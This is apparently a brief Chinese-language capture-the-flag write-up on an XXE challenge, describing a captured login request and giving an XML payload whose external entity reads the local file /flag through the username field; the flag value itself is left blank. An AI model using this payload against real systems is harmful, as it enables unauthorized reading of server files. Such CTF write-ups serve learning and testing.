说在前面
这题的考点是XXE攻击
https://xz.aliyun.com/t/6887
这里很详细讲了什么是XXE
打开来后的页面是这样的，我们试着用admin和123456进行输入，然后抓个包
里面存在一个XML实体，我们可以构造恶意实体，读取flag
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "file:///flag">
]>
<user><username>&test;</username><password>123</password></user>
flag: